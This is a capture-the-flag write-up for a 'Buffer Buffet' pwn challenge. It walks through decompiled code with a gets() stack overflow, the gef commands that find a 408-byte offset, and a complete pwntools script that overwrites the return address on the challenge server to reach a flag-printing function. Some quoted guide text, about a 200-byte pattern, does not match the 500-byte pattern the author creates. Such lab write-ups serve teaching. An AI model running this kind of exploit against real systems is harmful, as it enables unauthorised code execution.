Buffer Buffet [Pwn]

The challenge provided us with a nc connection to the server hosting the binary and the binary itself. So, without launching Ghidra or IDA, we can use the following tool to disassemble the binary.

The disassembled file is as follows:

//----- (00000000004011D6) ----------------------------------------------------
int secretFunction()
{
  puts("Congratulations!");
  return puts("Flag: OSCTF{run_this_same_script_on_server}");
}

//----- (00000000004011F9) ----------------------------------------------------
__int64 vuln()
{
  char v1[400]; // [rsp+0h] [rbp-190h] BYREF

  puts("Enter some text:");
  gets(v1);
  printf("You entered: %s\n", v1);
  return 0LL;
}
// 4010B0: using guessed type __int64 __fastcall gets(_QWORD);

//----- (000000000040124A) ----------------------------------------------------
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __gid_t rgid; // [rsp+1Ch] [rbp-4h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  rgid = getegid();
  setregid(rgid, rgid);
  vuln();
  return 0;
}

Looking at the disassembly, the vulnerability lies within the gets() function. This function is vulnerable due to the fact that the function does not check for the user's input before putting the user's input onto the stack. Because of this, this allows a user to overwrite data on the stack which is also known as a buffer overflow vulnerability.

When a user is able to overwrite data on the stack, this allows them to change the location of the return function or which function the program will go to after a certain function has finished executing. This is done by overwriting the rip or the Instruction Pointer.

Looking back at the disassembly, obviously, the function that we want to go to is the secretFunction. The first thing to do is to find out how big is the input buffer and how many characters it takes to overwrite the rip. For this, I referred to this guide:

With gef or a plugin used for gdb, we can create a unique pattern using the following command:

pattern create 500

This unique pattern allows gef or gdb to find exactly how many characters it takes to get to a certain point in memory.

According to the guide mentioned:

From the above screenshot, we can see that part of our pattern A7AAMAAiA... is visible at the top of the stack - this value would be popped from the stack and jumped to by the ret instruction. Now we need to know how many characters of the 200 bytes pattern that we generated earlier were put on the stack, before A7AAMAAiA got placed at the top of the stack.

For that reason, the value at the top of the stack is taken and searched up using gef with the following command:

pattern search baaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaacha

Searching for that string reveals that it will take 408 characters to get to that point in memory.

Now that we know how much we need to write onto the stack to the point where we can overwrite the rip, the instruction pointer, the next step is to figure out where to jump to. For that, info functions is used to find out the location of secretFunction in memory.

Once we have gotten the location of the secretFunction, it's time to build a script. The script is built with pwntools which you can install using pip

pip3 install pwntools

This script will basically connect to the instance given to us, and receive information until "Enter some text:" appears and input is needed from the user. The script will then send 408 A's along with the location of the secretFunction. The script will then retrieve back the response once the input is given.

from pwn import *

# Set up the connection
# context.log_level = 'debug'  # Set debug level to see communication
r = remote('34.125.199.248', 4056)  # Replace with your target IP and port

# binary = context.binary = ELF('./vuln')
# r = process(binary.path)

buffer = "A" * 408 

# Example interaction
r.recvuntil('Enter some text:')
r.sendline(buffer.encode()+ p64(0x00000000004011d6))

response = r.recvline()
response = r.recvline()
response = r.recvline()
response = r.recvline()
print("Response from server:", response.decode())

# Close the connection
r.close()

Doing so gives us the flag!

flag: OSCTF{buff3r_burr3t_w4s_e4sy!}

Last updated